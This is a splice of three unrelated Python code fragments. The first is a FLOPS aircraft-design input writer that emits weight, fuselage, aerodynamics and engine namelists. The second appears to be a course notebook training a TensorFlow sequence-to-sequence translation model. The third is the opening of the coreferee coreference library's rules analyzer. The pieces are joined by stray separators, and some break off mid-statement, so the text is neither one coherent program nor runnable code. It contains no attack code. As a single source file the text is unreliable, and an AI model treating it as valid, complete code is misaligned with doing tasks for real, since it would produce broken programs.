# Namelist &WTIN
#-------------------
sb.add_group('WTIN')
sb.add_comment("\n ! Geometric, Weight, Balance and Inertia Data")
sb.add_container("input.wtin.Basic")
sb.add_comment("\n ! Special Option for Operating Weight Empty Calculations")
sb.add_container("input.wtin.OEW_Calculations")
sb.add_comment("\n ! Wing Data")
sb.add_container("input.wtin.Wing_Data")
netaw = len(self.input.wtin.Detailed_Wing.etaw)
if netaw > 0:
sb.add_comment("\n ! Detailed Wing Data")
sb.add_newvar("netaw", netaw)
sb.add_var("input.wtin.Detailed_Wing.etaw")
sb.add_var("input.wtin.Detailed_Wing.chd")
sb.add_var("input.wtin.Detailed_Wing.toc")
sb.add_var("input.wtin.Detailed_Wing.swl")
sb.add_var("input.wtin.Detailed_Wing.etae")
sb.add_var("input.wtin.Detailed_Wing.pctl")
sb.add_var("input.wtin.Detailed_Wing.arref")
sb.add_var("input.wtin.Detailed_Wing.tcref")
sb.add_var("input.wtin.Detailed_Wing.nstd")
pdist = self.input.wtin.Detailed_Wing.pdist
sb.add_var("input.wtin.Detailed_Wing.pdist")
if pdist < 0.0001:
sb.add_var("input.wtin.Detailed_Wing.etap")
sb.add_var("input.wtin.Detailed_Wing.pval")
sb.add_comment("\n ! Tails, Fins, Canards")
sb.add_comment("\n ! Horizontal Tail Data")
sb.add_var("input.wtin.Tails_Fins.sht")
sb.add_var("input.wtin.Tails_Fins.swpht")
sb.add_var("input.wtin.Tails_Fins.arht")
sb.add_var("input.wtin.Tails_Fins.trht")
sb.add_var("input.wtin.Tails_Fins.tcht")
sb.add_var("input.wtin.Tails_Fins.hht")
nvert = self.input.wtin.Tails_Fins.nvert
if nvert != 0:
sb.add_comment("\n ! Vertical Tail Data")
sb.add_var("input.wtin.Tails_Fins.nvert")
sb.add_var("input.wtin.Tails_Fins.svt")
sb.add_var("input.wtin.Tails_Fins.swpvt")
sb.add_var("input.wtin.Tails_Fins.arvt")
sb.add_var("input.wtin.Tails_Fins.trvt")
sb.add_var("input.wtin.Tails_Fins.tcvt")
nfin = self.input.wtin.Tails_Fins.nfin
if nfin != 0:
sb.add_comment("\n ! Fin Data")
sb.add_var("input.wtin.Tails_Fins.nfin")
sb.add_var("input.wtin.Tails_Fins.sfin")
sb.add_var("input.wtin.Tails_Fins.arfin")
sb.add_var("input.wtin.Tails_Fins.trfin")
sb.add_var("input.wtin.Tails_Fins.swpfin")
sb.add_var("input.wtin.Tails_Fins.tcfin")
scan = self.input.wtin.Tails_Fins.scan
if scan != 0:
sb.add_comment("\n ! Canard Data")
sb.add_var("input.wtin.Tails_Fins.scan")
sb.add_var("input.wtin.Tails_Fins.swpcan")
sb.add_var("input.wtin.Tails_Fins.arcan")
sb.add_var("input.wtin.Tails_Fins.trcan")
sb.add_var("input.wtin.Tails_Fins.tccan")
sb.add_comment("\n ! Fuselage Data")
sb.add_container("input.wtin.Fuselage")
sb.add_comment("\n ! Landing Gear Data")
sb.add_container("input.wtin.Landing_Gear")
sb.add_comment("\n ! Propulsion System Data")
sb.add_container("input.wtin.Propulsion")
sb.add_comment("\n ! Fuel System Data")
sb.add_var("input.wtin.Fuel_System.ntank")
sb.add_var("input.wtin.Fuel_System.fulwmx")
sb.add_var("input.wtin.Fuel_System.fulden")
sb.add_var("input.wtin.Fuel_System.fulfmx")
sb.add_var("input.wtin.Fuel_System.ifufu")
sb.add_var("input.wtin.Fuel_System.fulaux")
fuscla = self.input.wtin.Fuel_System.fuscla
if fuscla > 0.000001:
sb.add_comment("\n ! Special method for scaling wing fuel capacity")
sb.add_var("input.wtin.Fuel_System.fuelrf")
sb.add_var("input.wtin.Fuel_System.fswref")
sb.add_var("input.wtin.Fuel_System.fuscla")
sb.add_var("input.wtin.Fuel_System.fusclb")
sb.add_comment("\n ! Crew and Payload Data")
sb.add_container("input.wtin.Crew_Payload")
sb.add_comment("\n ! Override Parameters")
sb.add_container("input.wtin.Override")
sb.add_comment("\n ! Center of Gravity (C.G.) Data")
sb.add_container("input.wtin.Center_of_Gravity")
inrtia = self.input.wtin.Inertia.inrtia
if inrtia != 0:
sb.add_comment("\n ! Inertia Data")
sb.add_newvar("inrtia", inrtia)
sb.add_var("input.wtin.Inertia.zht")
sb.add_var("input.wtin.Inertia.zvt")
sb.add_var("input.wtin.Inertia.zfin")
sb.add_var("input.wtin.Inertia.yfin")
sb.add_var("input.wtin.Inertia.zef")
sb.add_var("input.wtin.Inertia.yef")
sb.add_var("input.wtin.Inertia.zea")
sb.add_var("input.wtin.Inertia.yea")
sb.add_var("input.wtin.Inertia.zbw")
sb.add_var("input.wtin.Inertia.zap")
sb.add_var("input.wtin.Inertia.zrvt")
sb.add_var("input.wtin.Inertia.ymlg")
sb.add_var("input.wtin.Inertia.yfuse")
sb.add_var("input.wtin.Inertia.yvert")
sb.add_var("input.wtin.Inertia.swtff")
sb.add_var("input.wtin.Inertia.tcr")
sb.add_var("input.wtin.Inertia.tct")
sb.add_var("input.wtin.Inertia.incpay")
l = len(self.input.wtin.Inertia.tx)
sb.add_newvar("itank", l)
if l > 0:
sb.add_var("input.wtin.Inertia.tx")
sb.add_var("input.wtin.Inertia.ty")
sb.add_var("input.wtin.Inertia.tz")
j = len(self.input.wtin.Inertia.tl)
if j > 0:
sb.add_var("input.wtin.Inertia.tl")
sb.add_var("input.wtin.Inertia.tw")
sb.add_var("input.wtin.Inertia.td")
j = self.input.wtin.Inertia.tf.shape[0]
sb.add_newvar("nfcon", j)
if l*j > 0:
sb.add_var("input.wtin.Inertia.tf")
#-------------------
# Namelist &FUSEIN
#-------------------
# Namelist &FUSEIN is only required if XL=0 or IFITE=3.
xl = self.input.wtin.Fuselage.xl
if xl < 0.0000001 or ifite == 3:
sb.add_group('FUSEIN')
sb.add_comment("\n ! Fuselage Design Data")
sb.add_container("input.fusein.Basic")
sb.add_container("input.fusein.BWB")
#-------------------
# Namelist &CONFIN
#-------------------
sb.add_group('CONFIN')
sb.add_container("input.confin.Basic")
# MC Flops wrapper didn't write these out if iopt was less than 3
# I changed it to match expected behavior when comparing manual FLOPS
# if iopt >= 3:
sb.add_comment("\n ! Objective Function Definition")
sb.add_container("input.confin.Objective")
sb.add_comment("\n ! Design Variables")
sb.add_var("input.confin.Design_Variables.gw")
sb.add_var("input.confin.Design_Variables.ar")
sb.add_var("input.confin.Design_Variables.thrust")
sb.add_var("input.confin.Design_Variables.sw")
sb.add_var("input.confin.Design_Variables.tr")
sb.add_var("input.confin.Design_Variables.sweep")
sb.add_var("input.confin.Design_Variables.tca")
sb.add_var("input.confin.Design_Variables.vcmn")
sb.add_var("input.confin.Design_Variables.ch")
sb.add_var("input.confin.Design_Variables.varth")
sb.add_var("input.confin.Design_Variables.rotvel")
sb.add_var("input.confin.Design_Variables.plr")
igenen = self.input.engdin.Basic.igenen
if igenen in (1, -2):
sb.add_comment("\n ! Engine Design Variables")
sb.add_var("input.confin.Design_Variables.etit")
sb.add_var("input.confin.Design_Variables.eopr")
sb.add_var("input.confin.Design_Variables.efpr")
sb.add_var("input.confin.Design_Variables.ebpr")
sb.add_var("input.confin.Design_Variables.ettr")
sb.add_var("input.confin.Design_Variables.ebla")
#-------------------
# Namelist &AERIN
#-------------------
sb.add_group('AERIN')
myaero = self.input.aerin.Basic.myaero
iwave = self.input.aerin.Basic.iwave
if myaero != 0:
sb.add_comment("\n ! Externally Computed Aerodynamics")
sb.add_var("input.aerin.Basic.myaero")
sb.add_var("input.aerin.Basic.iwave")
if iwave != 0:
sb.add_var("input.aerin.Basic.fwave")
sb.add_var("input.aerin.Basic.itpaer")
sb.add_var("input.aerin.Basic.ibo")
else:
sb.add_comment("\n ! Internally Computed Aerodynamics")
sb.add_container("input.aerin.Internal_Aero")
sb.add_container("input.aerin.Takeoff_Landing")
#-------------------
# Namelist &COSTIN
#-------------------
# Namelist &COSTIN is only required if ICOST=1.
if icost != 0:
sb.add_group('COSTIN')
sb.add_comment("\n ! Cost Calculation Data")
sb.add_container("input.costin.Basic")
sb.add_comment("\n ! Mission Performance Data")
sb.add_container("input.costin.Mission_Performance")
sb.add_comment("\n ! Cost Technology Parameters")
sb.add_container("input.costin.Cost_Technology")
#-------------------
# Namelist &ENGDIN
#-------------------
# Namelist &ENGDIN is only required in IANAL=3 or 4 or INENG=1.
if ianal in (3, 4) or ineng == 1:
sb.add_group('ENGDIN')
sb.add_comment("\n ! Engine Deck Control, Scaling and Usage Data")
sb.add_var("input.engdin.Basic.ngprt")
sb.add_var("input.engdin.Basic.igenen")
sb.add_var("input.engdin.Basic.extfac")
sb.add_var("input.engdin.Basic.fffsub")
sb.add_var("input.engdin.Basic.fffsup")
sb.add_var("input.engdin.Basic.idle")
sb.add_var("input.engdin.Basic.noneg")
sb.add_var("input.engdin.Basic.fidmin")
sb.add_var("input.engdin.Basic.fidmax")
sb.add_var("input.engdin.Basic.ixtrap")
sb.add_var("input.engdin.Basic.ifill")
sb.add_var("input.engdin.Basic.maxcr")
sb.add_var("input.engdin.Basic.nox")
npcode = len(self.input.engdin.Basic.pcode)
if npcode > 0:
sb.add_newvar("npcode", npcode)
sb.add_var("input.engdin.Basic.pcode")
sb.add_var("input.engdin.Basic.boost")
sb.add_var("input.engdin.Basic.igeo")
sb.add_var("input.engdin.Special_Options.dffac")
sb.add_var("input.engdin.Special_Options.fffac")
if igenen in (1, -2):
j = len(self.input.engdin.Special_Options.emach)
l = self.input.engdin.Special_Options.alt.shape[0]
if j > 0:
# TODO - Find out about fake 2d for new FLOPS double prop
# capability.
sb.add_var("input.engdin.Special_Options.emach")
if l*j > 0:
# TODO - Find out about fake 3d for new FLOPS double prop
# capability.
sb.add_var("input.engdin.Special_Options.alt")
insdrg = self.input.engdin.Special_Options.insdrg
if insdrg != 0:
sb.add_comment("\n ! Nozzle installation drag using table look-up")
sb.add_newvar("insdrg", insdrg)
sb.add_var("input.engdin.Special_Options.nab")
sb.add_var("input.engdin.Special_Options.nabref")
sb.add_var("input.engdin.Special_Options.a10")
sb.add_var("input.engdin.Special_Options.a10ref")
sb.add_var("input.engdin.Special_Options.a9ref")
sb.add_var("input.engdin.Special_Options.xnoz")
sb.add_var("input.engdin.Special_Options.xnref")
sb.add_var("input.engdin.Special_Options.rcrv")
# TODO - rawInputFile( cdfile, "ENDRAG" );
#cdfile.open
# Write out the eifile. This is a new addition.
if self.input.engdin.eifile:
sb.add_var("input.engdin.eifile")
#----------------------
# Namelist Engine deck
#----------------------
# Insert the engine deck into the flops input file
# If IGENEN=0 the engine deck is part of the input file, otherwise it is an
# external file.
engine_deck = self.input.engine_deck.engdek
if igenen in (0, -2):
# engine_deck contains the raw engine deck
sb.add_group(engine_deck)
else:
# engine_deck contains the name of the engine deck file
if engine_deck:
sb.add_var("input.engine_deck.engdek")
#-------------------
# Namelist &ENGINE
#-------------------
# Namelist &ENGINE is only required if IGENEN=-2 or 1.
if igenen in (-2, 1):
sb.add_group('ENGINE')
nginwt = self.input.engine.Engine_Weight.nginwt
ieng = self.input.engine.Basic.ieng
sb.add_var("input.engine.Basic.ieng")
sb.add_var("input.engine.Basic.iprint")
sb.add_var("input.engine.Basic.gendek")
sb.add_var("input.engine.Basic.ithrot")
sb.add_var("input.engine.Basic.npab")
sb.add_var("input.engine.Basic.npdry")
sb.add_var("input.engine.Basic.xidle")
sb.add_var("input.engine.Basic.nitmax")
if self.input.engine.Basic.xmmax > 0:
sb.add_var("input.engine.Basic.xmmax")
if self.input.engine.Basic.amax > 0:
sb.add_var("input.engine.Basic.amax")
if self.input.engine.Basic.xminc > 0:
sb.add_var("input.engine.Basic.xminc")
if self.input.engine.Basic.ainc > 0:
sb.add_var("input.engine.Basic.ainc")
if self.input.engine.Basic.qmin > 0:
sb.add_var("input.engine.Basic.qmin")
if self.input.engine.Basic.qmax > 0:
sb.add_var("input.engine.Basic.qmax")
sb.add_newvar("nginwt", nginwt)
sb.add_container("input.engine.Noise_Data")
if self.input.engine.Design_Point.desfn > 0:
sb.add_var("input.engine.Design_Point.desfn")
if self.input.engine.Design_Point.xmdes > 0:
sb.add_var("input.engine.Design_Point.xmdes")
if self.input.engine.Design_Point.xades > 0:
sb.add_var("input.engine.Design_Point.xades")
sb.add_var("input.engine.Design_Point.oprdes")
sb.add_var("input.engine.Design_Point.fprdes")
sb.add_var("input.engine.Design_Point.bprdes")
sb.add_var("input.engine.Design_Point.tetdes")
sb.add_var("input.engine.Design_Point.ttrdes")
sb.add_var("input.engine.Other.hpcpr")
sb.add_var("input.engine.Other.aburn")
sb.add_var("input.engine.Other.dburn")
sb.add_var("input.engine.Other.effab")
sb.add_var("input.engine.Other.tabmax")
sb.add_var("input.engine.Other.ven")
sb.add_var("input.engine.Other.costbl")
sb.add_var("input.engine.Other.fanbl")
sb.add_var("input.engine.Other.hpext")
sb.add_var("input.engine.Other.wcool")
sb.add_var("input.engine.Other.fhv")
sb.add_var("input.engine.Other.dtce")
sb.add_var("input.engine.Other.alc")
sb.add_var("input.engine.Other.year")
sb.add_comment("\n ! Installation effects")
sb.add_var("input.engine.Other.boat")
sb.add_var("input.engine.Other.ajmax")
if self.input.engine.Other.spill:
sb.add_comment("\n ! Installation effects")
sb.add_var("input.engine.Other.spill")
sb.add_var("input.engine.Other.lip")
sb.add_var("input.engine.Other.blmax")
sb.add_var("input.engine.Other.spldes")
sb.add_var("input.engine.Other.aminds")
sb.add_var("input.engine.Other.alinds")
sb.add_var("input.engine.Other.etaprp")
sb.add_var("input.engine.Other.shpowa")
sb.add_comment("\n ! Engine operating constraints")
sb.add_var("input.engine.Other.cdtmax")
sb.add_var("input.engine.Other.cdpmax")
sb.add_var("input.engine.Other.vjmax")
sb.add_var("input.engine.Other.stmin")
sb.add_var("input.engine.Other.armax")
sb.add_var("input.engine.Other.limcd")
if nginwt != 0:
sb.add_comment("\n ! Engine Weight Calculation Data")
sb.add_var("input.engine.Engine_Weight.iwtprt")
sb.add_var("input.engine.Engine_Weight.iwtplt")
sb.add_var("input.engine.Engine_Weight.gratio")
sb.add_var("input.engine.Engine_Weight.utip1")
sb.add_var("input.engine.Engine_Weight.rh2t1")
sb.add_var("input.engine.Engine_Weight.igvw")
sb.add_var("input.engine.Engine_Weight.trbrpm")
sb.add_var("input.engine.Engine_Weight.trban2")
sb.add_var("input.engine.Engine_Weight.trbstr")
sb.add_var("input.engine.Engine_Weight.cmpan2")
sb.add_var("input.engine.Engine_Weight.cmpstr")
sb.add_var("input.engine.Engine_Weight.vjpnlt")
sb.add_var("input.engine.Engine_Weight.wtebu")
sb.add_var("input.engine.Engine_Weight.wtcon")
if ieng == 101:
sb.add_var("input.engine.IC_Engine.ncyl")
sb.add_var("input.engine.IC_Engine.deshp")
sb.add_var("input.engine.IC_Engine.alcrit")
sb.add_var("input.engine.IC_Engine.sfcmax")
sb.add_var("input.engine.IC_Engine.sfcmin")
sb.add_var("input.engine.IC_Engine.pwrmin")
sb.add_var("input.engine.IC_Engine.engspd")
sb.add_var("input.engine.IC_Engine.prpspd")
if ieng == 101 or igenen == -2 and nginwt > 0:
sb.add_var("input.engine.IC_Engine.iwc")
sb.add_var("input.engine.IC_Engine.ecid")
sb.add_var("input.engine.IC_Engine.ecr")
if ieng == 101 or igenen == -2:
sb.add_var("input.engine.IC_Engine.eht")
sb.add_var("input.engine.IC_Engine.ewid")
sb.add_var("input.engine.IC_Engine.elen")
sb.add_var("input.engine.IC_Engine.ntyp")
sb.add_var("input.engine.IC_Engine.af")
sb.add_var("input.engine.IC_Engine.cli")
sb.add_var("input.engine.IC_Engine.blang")
sb.add_var("input.engine.IC_Engine.dprop")
sb.add_var("input.engine.IC_Engine.nblade")
sb.add_var("input.engine.IC_Engine.gbloss")
nrpm = len(self.input.engine.IC_Engine.arrpm)
if nrpm > 0:
sb.add_comment(" ! power curve input data")
sb.add_newvar("nrpm", nrpm)
sb.add_var("input.engine.IC_Engine.arrpm")
sb.add_var("input.engine.IC_Engine.arpwr")
sb.add_var("input.engine.IC_Engine.arful")
if self.input.engine.IC_Engine.lfuun != 0:
sb.add_var("input.engine.IC_Engine.lfuun")
sb.add_var("input.engine.IC_Engine.feng")
sb.add_var("input.engine.IC_Engine.fprop")
sb.add_var("input.engine.IC_Engine.fgbox")
ifile = self.input.engine.ifile
tfile = self.input.engine.tfile
# The name of the engine cycle definition file to be read in is
# set by | |
tf.contrib.seq2seq.dynamic_decode(inference_decoder,
impute_finished=True,
maximum_iterations=max_target_sequence_length)
return inference_decoder_output
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_decoding_layer_infer(decoding_layer_infer)
# ### Build the Decoding Layer
# Implement `decoding_layer()` to create a Decoder RNN layer.
#
# * Embed the target sequences
# * Construct the decoder LSTM cell (just like you constructed the encoder cell above)
# * Create an output layer to map the outputs of the decoder to the elements of our vocabulary
# * Use the your `decoding_layer_train(encoder_state, dec_cell, dec_embed_input, target_sequence_length, max_target_sequence_length, output_layer, keep_prob)` function to get the training logits.
# * Use your `decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, start_of_sequence_id, end_of_sequence_id, max_target_sequence_length, vocab_size, output_layer, batch_size, keep_prob)` function to get the inference logits.
#
# Note: You'll need to use [tf.variable_scope](https://www.tensorflow.org/api_docs/python/tf/variable_scope) to share variables between training and inference.
# In[12]:
def decoding_layer(dec_input, encoder_state,
target_sequence_length, max_target_sequence_length,
rnn_size,
num_layers, target_vocab_to_int, target_vocab_size,
batch_size, keep_prob, decoding_embedding_size):
"""
Create decoding layer
:param dec_input: Decoder input
:param encoder_state: Encoder state
:param target_sequence_length: The lengths of each sequence in the target batch
:param max_target_sequence_length: Maximum length of target sequences
:param rnn_size: RNN Size
:param num_layers: Number of layers
:param target_vocab_to_int: Dictionary to go from the target words to an id
:param target_vocab_size: Size of target vocabulary
:param batch_size: The size of the batch
:param keep_prob: Dropout keep probability
:return: Tuple of (Training BasicDecoderOutput, Inference BasicDecoderOutput)
"""
def build_cell():
lstm = tf.contrib.rnn.LSTMCell(rnn_size, initializer=tf.random_uniform_initializer(-0.1, 0.1, seed=2))
drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob)
return drop
dec_cell = tf.contrib.rnn.MultiRNNCell([build_cell() for _ in range(num_layers)])
start_of_sequence_id = target_vocab_to_int["<GO>"]
end_of_sequence_id = target_vocab_to_int['<EOS>']
vocab_size = len(target_vocab_to_int)
dec_embeddings = tf.Variable(tf.random_uniform([vocab_size, decoding_embedding_size]))
dec_embed_input = tf.nn.embedding_lookup(dec_embeddings, dec_input)
output_layer = Dense(target_vocab_size,
kernel_initializer=tf.truncated_normal_initializer(mean=0.0, stddev=0.1))
with tf.variable_scope("decode"):# as decoding_scope:
training_decoder_output = decoding_layer_train(encoder_state, dec_cell, dec_embed_input,
target_sequence_length, max_target_sequence_length,
output_layer, keep_prob)
# decoding_scope.reuse_variables
with tf.variable_scope("decode", reuse=True):
inference_decoder_output = decoding_layer_infer(encoder_state, dec_cell, dec_embeddings, start_of_sequence_id,
end_of_sequence_id, max_target_sequence_length,
vocab_size, output_layer, batch_size, keep_prob)
return training_decoder_output, inference_decoder_output
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_decoding_layer(decoding_layer)
# ### Build the Neural Network
# Apply the functions you implemented above to:
#
# - Apply embedding to the input data for the encoder.
# - Encode the input using your `encoding_layer(rnn_inputs, rnn_size, num_layers, keep_prob, source_sequence_length, source_vocab_size, encoding_embedding_size)`.
# - Process target data using your `process_decoder_input(target_data, target_vocab_to_int, batch_size)` function.
# - Apply embedding to the target data for the decoder.
# - Decode the encoded input using your `decoding_layer(dec_input, enc_state, target_sequence_length, max_target_sentence_length, rnn_size, num_layers, target_vocab_to_int, target_vocab_size, batch_size, keep_prob, dec_embedding_size)` function.
# In[13]:
def seq2seq_model(input_data, target_data, keep_prob, batch_size,
source_sequence_length, target_sequence_length,
max_target_sentence_length,
source_vocab_size, target_vocab_size,
enc_embedding_size, dec_embedding_size,
rnn_size, num_layers, target_vocab_to_int):
"""
Build the Sequence-to-Sequence part of the neural network
:param input_data: Input placeholder
:param target_data: Target placeholder
:param keep_prob: Dropout keep probability placeholder
:param batch_size: Batch Size
:param source_sequence_length: Sequence Lengths of source sequences in the batch
:param target_sequence_length: Sequence Lengths of target sequences in the batch
:param source_vocab_size: Source vocabulary size
:param target_vocab_size: Target vocabulary size
:param enc_embedding_size: Decoder embedding size
:param dec_embedding_size: Encoder embedding size
:param rnn_size: RNN Size
:param num_layers: Number of layers
:param target_vocab_to_int: Dictionary to go from the target words to an id
:return: Tuple of (Training BasicDecoderOutput, Inference BasicDecoderOutput)
"""
_, encoder_state = encoding_layer(input_data, rnn_size, num_layers, keep_prob,
source_sequence_length, source_vocab_size, enc_embedding_size)
dec_input = process_decoder_input(target_data, target_vocab_to_int, batch_size)
training_decoder_output, inference_decoder_output = decoding_layer(dec_input,
encoder_state,
target_sequence_length,
max_target_sentence_length,
rnn_size,
num_layers,
target_vocab_to_int,
target_vocab_size,
batch_size,
keep_prob,
dec_embedding_size)
return training_decoder_output, inference_decoder_output
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_seq2seq_model(seq2seq_model)
# ## Neural Network Training
# ### Hyperparameters
# Tune the following parameters:
#
# - Set `epochs` to the number of epochs.
# - Set `batch_size` to the batch size.
# - Set `rnn_size` to the size of the RNNs.
# - Set `num_layers` to the number of layers.
# - Set `encoding_embedding_size` to the size of the embedding for the encoder.
# - Set `decoding_embedding_size` to the size of the embedding for the decoder.
# - Set `learning_rate` to the learning rate.
# - Set `keep_probability` to the Dropout keep probability
# - Set `display_step` to state how many steps between each debug output statement
# In[14]:
# Number of Epochs
epochs = 8
# Batch Size
batch_size = 128
# RNN Size
rnn_size = 256
# Number of Layers
num_layers = 2
# Embedding Size
encoding_embedding_size = 200
decoding_embedding_size = 200
# Learning Rate
learning_rate = 0.0005
# Dropout Keep Probability
keep_probability = 0.75
display_step = 20
# ### Build the Graph
# Build the graph using the neural network you implemented.
# In[15]:
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
save_path = 'checkpoints/dev'
(source_int_text, target_int_text), (source_vocab_to_int, target_vocab_to_int), _ = helper.load_preprocess()
max_target_sentence_length = max([len(sentence) for sentence in source_int_text])
train_graph = tf.Graph()
with train_graph.as_default():
input_data, targets, lr, keep_prob, target_sequence_length, max_target_sequence_length, source_sequence_length = model_inputs()
#sequence_length = tf.placeholder_with_default(max_target_sentence_length, None, name='sequence_length')
input_shape = tf.shape(input_data)
train_logits, inference_logits = seq2seq_model(tf.reverse(input_data, [-1]),
targets,
keep_prob,
batch_size,
source_sequence_length,
target_sequence_length,
max_target_sequence_length,
len(source_vocab_to_int),
len(target_vocab_to_int),
encoding_embedding_size,
decoding_embedding_size,
rnn_size,
num_layers,
target_vocab_to_int)
training_logits = tf.identity(train_logits.rnn_output, name='logits')
inference_logits = tf.identity(inference_logits.sample_id, name='predictions')
masks = tf.sequence_mask(target_sequence_length, max_target_sequence_length, dtype=tf.float32, name='masks')
with tf.name_scope("optimization"):
# Loss function
cost = tf.contrib.seq2seq.sequence_loss(
training_logits,
targets,
masks)
# Optimizer
optimizer = tf.train.AdamOptimizer(lr)
# Gradient Clipping
gradients = optimizer.compute_gradients(cost)
capped_gradients = [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gradients if grad is not None]
train_op = optimizer.apply_gradients(capped_gradients)
# Batch and pad the source and target sequences
# In[16]:
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
def pad_sentence_batch(sentence_batch, pad_int):
"""Pad sentences with <PAD> so that each sentence of a batch has the same length"""
max_sentence = max([len(sentence) for sentence in sentence_batch])
return [sentence + [pad_int] * (max_sentence - len(sentence)) for sentence in sentence_batch]
def get_batches(sources, targets, batch_size, source_pad_int, target_pad_int):
"""Batch targets, sources, and the lengths of their sentences together"""
for batch_i in range(0, len(sources)//batch_size):
start_i = batch_i * batch_size
# Slice the right amount for the batch
sources_batch = sources[start_i:start_i + batch_size]
targets_batch = targets[start_i:start_i + batch_size]
# Pad
pad_sources_batch = np.array(pad_sentence_batch(sources_batch, source_pad_int))
pad_targets_batch = np.array(pad_sentence_batch(targets_batch, target_pad_int))
# Need the lengths for the _lengths parameters
pad_targets_lengths = []
for target in pad_targets_batch:
pad_targets_lengths.append(len(target))
pad_source_lengths = []
for source in pad_sources_batch:
pad_source_lengths.append(len(source))
yield pad_sources_batch, pad_targets_batch, pad_source_lengths, pad_targets_lengths
# ### Train
# Train the neural network on the preprocessed data. If you have a hard time getting a good loss, check the forms to see if anyone is having the same problem.
# In[17]:
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
def get_accuracy(target, logits):
"""
Calculate accuracy
"""
max_seq = max(target.shape[1], logits.shape[1])
if max_seq - target.shape[1]:
target = np.pad(
target,
[(0,0),(0,max_seq - target.shape[1])],
'constant')
if max_seq - logits.shape[1]:
logits = np.pad(
logits,
[(0,0),(0,max_seq - logits.shape[1])],
'constant')
return np.mean(np.equal(target, logits))
# Split data to training and validation sets
train_source = source_int_text[batch_size:]
train_target = target_int_text[batch_size:]
valid_source = source_int_text[:batch_size]
valid_target = target_int_text[:batch_size]
(valid_sources_batch, valid_targets_batch, valid_sources_lengths, valid_targets_lengths ) = next(get_batches(valid_source,
valid_target,
batch_size,
source_vocab_to_int['<PAD>'],
target_vocab_to_int['<PAD>']))
with tf.Session(graph=train_graph) as sess:
sess.run(tf.global_variables_initializer())
for epoch_i in range(epochs):
for batch_i, (source_batch, target_batch, sources_lengths, targets_lengths) in enumerate(
get_batches(train_source, train_target, batch_size,
source_vocab_to_int['<PAD>'],
target_vocab_to_int['<PAD>'])):
_, loss = sess.run(
[train_op, cost],
{input_data: source_batch,
targets: target_batch,
lr: learning_rate,
target_sequence_length: targets_lengths,
source_sequence_length: sources_lengths,
keep_prob: keep_probability})
if batch_i % display_step == 0 and batch_i > 0:
batch_train_logits = sess.run(
inference_logits,
{input_data: source_batch,
source_sequence_length: sources_lengths,
target_sequence_length: targets_lengths,
keep_prob: 1.0})
batch_valid_logits = sess.run(
inference_logits,
{input_data: valid_sources_batch,
source_sequence_length: valid_sources_lengths,
target_sequence_length: valid_targets_lengths,
keep_prob: 1.0})
train_acc = get_accuracy(target_batch, batch_train_logits)
valid_acc = get_accuracy(valid_targets_batch, batch_valid_logits)
print('Epoch {:>3} Batch {:>4}/{} - Train Accuracy: {:>6.4f}, Validation Accuracy: {:>6.4f}, Loss: {:>6.4f}'
.format(epoch_i, batch_i, len(source_int_text) // batch_size, train_acc, valid_acc, loss))
# Save Model
saver = tf.train.Saver()
saver.save(sess, save_path)
print('Model Trained and Saved')
# ### Save Parameters
# Save the `batch_size` and `save_path` parameters for inference.
# In[18]:
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
# Save parameters for checkpoint
helper.save_params(save_path)
# # Checkpoint
# In[19]:
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import tensorflow as tf
import numpy as np
import helper
import problem_unittests as tests
_, (source_vocab_to_int, target_vocab_to_int), (source_int_to_vocab, target_int_to_vocab) = helper.load_preprocess()
load_path = helper.load_params()
# ## Sentence to Sequence
# To feed a sentence into the model for translation, you first need to preprocess it. Implement the function `sentence_to_seq()` to preprocess new sentences.
#
# - Convert the sentence to lowercase
# - Convert words into ids using `vocab_to_int`
# - Convert words not in the vocabulary, to the `<UNK>` word id.
# In[20]:
def sentence_to_seq(sentence, vocab_to_int):
"""
Convert a sentence to a sequence of ids
:param sentence: String
:param vocab_to_int: Dictionary to go from the words to an id
:return: List of word ids
"""
index = [vocab_to_int.get(word.lower(), vocab_to_int["<UNK>"]) for word in sentence.split()]
return index
"""
DON'T MODIFY | |
<reponame>Pantalaymon/coreferee<gh_stars>0
from typing import List, Tuple, Dict
import importlib
import sys
from os import sep
from abc import ABC, abstractmethod
from threading import Lock
import pkg_resources
from spacy.language import Language
from spacy.tokens import Token, Doc
from .data_model import ChainHolder, Mention
language_to_rules = {}
lock = Lock()
class RulesAnalyzerFactory:
@staticmethod
def get_rules_analyzer(nlp: Language) -> "RulesAnalyzer":
def read_in_data_files(directory: str, rules_analyzer: RulesAnalyzer) -> None:
for data_filename in (
filename
for filename in pkg_resources.resource_listdir(
__name__, sep.join(("lang", directory, "data"))
)
if filename.endswith(".dat")
):
full_data_filename = pkg_resources.resource_filename(
__name__, sep.join(("lang", directory, "data", data_filename))
)
with open(full_data_filename, "r", encoding="utf-8") as file:
setattr(
rules_analyzer,
data_filename[:-4],
[
v.strip()
for v in file.read().splitlines()
if len(v.strip()) > 1 and not v.strip().startswith("#")
],
)
language = nlp.meta["lang"]
with lock:
if language not in language_to_rules:
language_specific_rules_module = importlib.import_module(
".".join((".lang", nlp.meta["lang"], "language_specific_rules")),
"coreferee",
)
rules_analyzer = (
language_specific_rules_module.LanguageSpecificRulesAnalyzer()
)
language_to_rules[language] = rules_analyzer
read_in_data_files(language, rules_analyzer)
read_in_data_files("common", rules_analyzer)
rules_analyzer.exclusively_male_names = [
name
for name in rules_analyzer.male_names
if name not in rules_analyzer.female_names
]
rules_analyzer.exclusively_female_names = [
name
for name in rules_analyzer.female_names
if name not in rules_analyzer.male_names
]
return language_to_rules[language]
class RulesAnalyzer(ABC):
### MUST BE IMPLEMENTED BY IMPLEMENTING SUBCLASSES:
# A word in the language that will have a vector in any model that has vectors
random_word: str = NotImplemented
# A tuple of lemmas meaning 'or'.
or_lemmas: Tuple = NotImplemented
# A dictionary from entity labels to lists of nouns that refer to entities with those labels,
# e.g. {'PERSON': ['person', 'man', 'woman'], ...}
entity_noun_dictionary: Dict[str, List[str]] = NotImplemented
